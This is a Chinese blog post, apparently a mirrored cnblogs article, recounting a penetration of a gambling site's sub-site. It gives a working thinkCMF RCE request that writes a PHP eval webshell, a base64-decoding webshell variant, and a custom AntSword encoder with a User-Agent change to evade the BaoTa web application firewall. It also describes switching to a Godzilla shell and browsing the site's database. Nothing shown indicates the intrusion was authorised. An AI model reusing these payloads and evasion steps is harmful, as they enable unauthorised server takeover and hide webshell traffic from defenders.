zoukankan      html  css  js  c++  java
  • 记一次绕过宝塔防火墙的BC站渗透

    0x00  信息收集

    由于主站存在云waf 一测就封 且初步测试不存在能用得上的洞 所以转战分站 希望能通过分站获得有价值的信息


    这是一个查询代理帐号的站 url输入admin 自动跳转至后台


    看这个参数 猜测可能是thinkCMF

    0x01 getshell

    thinkcmf正好有一个RCE 可以尝试一下

    ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>

    白屏是个好兆头 应该是成功了
    访问一下

    尝试蚁剑连接 直接报错 猜测可能遇到防火墙了

    然后再回来看一下shell 手动尝试一个phpinfo


    果然存在宝塔防火墙

    0x02 绕过宝塔防火墙

    宝塔应该对部分函数进行了过滤,所以直接传递payload肯定是不行的,所以我们需要对流量进行混淆加密。

    尝试将所有的payload Base64编码传输

    既然传过去的是编码后的Base64,小马也应该相应做出改变,只需解密一次传递过来的base64即可。

    小马如下:

    <?php @eval(base64_decode($_POST[zero]));?>

    将phpinfo();base64编码为 cGhwaW5mbygpOw==

    发送

    可见 宝塔防火墙没再拦截 已经成功绕过宝塔防火墙

    0x03 改造蚁剑

    我们用到的是Base64编码,但是蚁剑其实是自带Base64编码解码器的 。

    尝试直接使用自带的Base64编码器

    为什么会这样呢?

    我们尝试从蚁剑的流量分析

    设置代理到burp

    拦截流量

    我们可以看到 明显有两个地方容易被waf识别

    一是:User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点

    二是:蚁剑的流量其实还是有关键字的 比如cmd参数后的 eval base64_decode 都是,而且我们的小马自带Base64解密,所以用它的默认编码器不仅过不去waf 即使没waf也不能正常连接我们的小马,所以需要自己定义编码器。

    新建PHP编码器

    由于我们只需要将payloadBase64编码一次即可,所以直接将data['_']Base64 处理赋值即可 随机参数有没有无所谓的

    编码器如下

    'use strict';
    
    /*
    * @param  {String} pwd   连接密码
    * @param  {Array}  data  编码器处理前的 payload 数组
    * @return {Array}  data  编码器处理后的 payload 数组
    */
    module.exports = (pwd, data, ext={}) => {
    
      data[pwd] = Buffer.from(data['_']).toString('base64');
    
      delete data['_'];
    
      return data;
    }
    

    然后修改UA头

    应用我们的编码器 解码器不需要指定 默认即可
    建议选择 增加垃圾数据和Multipart发包

    再次测试连接

    然后点击目录 发现依然存在问题 不能跨目录 这个问题其实哥斯拉可以解决 上传哥斯拉马

    这里可能有人会问了 那你直接上传哥斯拉马不就行了吗 实际情况是 get传参有长度限制 而且有的符号会导致截断php文件无法上传完整


    网站有挺多 但是很可惜没有主站 数据库里只有一堆代理帐号 浪费时间了



    0x03  总结

    1.访问BC目标主站发现没有可利用漏洞,通过访问分站,并输入admin目录,跳转到后台
    2.通过cms指纹查询,发现分站是thinkcmf框架
    3.执行rce写入一句话
    http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test1.php','<?php @eval($_POST[zero])?>')
    4.访问地址http://www.xxx.com/test1.php显示空白。
    5.尝试蚁剑连接,直接报错 ,执行post命令,发现显示宝塔防火墙
    http://www.xxx.com/test1.php
    post:
    zero=phpinfo();
    6.这里RCE写入一句话base64加密
    http://www.xxx.com/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test2.php','<?php @eval(base64_decode($_POST[zero]));?>')
    7.将phpinfo();base64编码为 cGhwaW5mbygpOw==并正常请求访问
    http://www.xxx.com/test2.php
    post:
     zero=cGhwaW5mbygpOw==
    7宝塔防火墙会拦截蚁剑的User-Agent以及包含命令执行的关键字如cmd参数后的 eval base64_decode
    一是:User-Agent头的关键字:antSword/v2.1 这相当于直接告诉waf我是谁了, 所以这是第一个要更改的点
    二是:蚁剑的流量其实还是有关键字的 比如cmd参数后的 eval base64_decode 都是,而且我们的小马自带Base64解密
    8,改造默认的base64编码器
    'use strict';

    /*
    * @param  {String} pwd   连接密码
    * @param  {Array}  data  编码器处理前的 payload 数组
    * @return {Array}  data  编码器处理后的 payload 数组
    */
    module.exports = (pwd, data, ext={}) => {

      data[pwd] = Buffer.from(data['_']).toString('base64');

      delete data['_'];

      return data;
    }
    9.在蚁剑的请求信息中修改UA头
    name:User-Agent
    vaule:为平常普通的的http请求值
    10,通过改造后的蚁剑加载修改后的的编码器进行连接,点击目录依然不能访问。
    12.同样的方法在哥斯拉中加载改造默认的base64编码器,可绕过宝塔防火墙,并正常访问



  • 相关阅读:
    Leetcode#117 Populating Next Right Pointers in Each Node II
    Leetcode#123 Best Time to Buy and Sell Stock III
    获取文件大小的方法
    内存映射
    git patch
    git cherry-pick
    关于extern的说明
    Linux如何查看与/dev/input目录下的event对应的设备
    如何在Linux下统计高速网络中的流量
    [: ==: unary operator expected 解决方法
  • 原文地址:https://www.cnblogs.com/backlion/p/15793274.html
Copyright © 2011-2022 走看看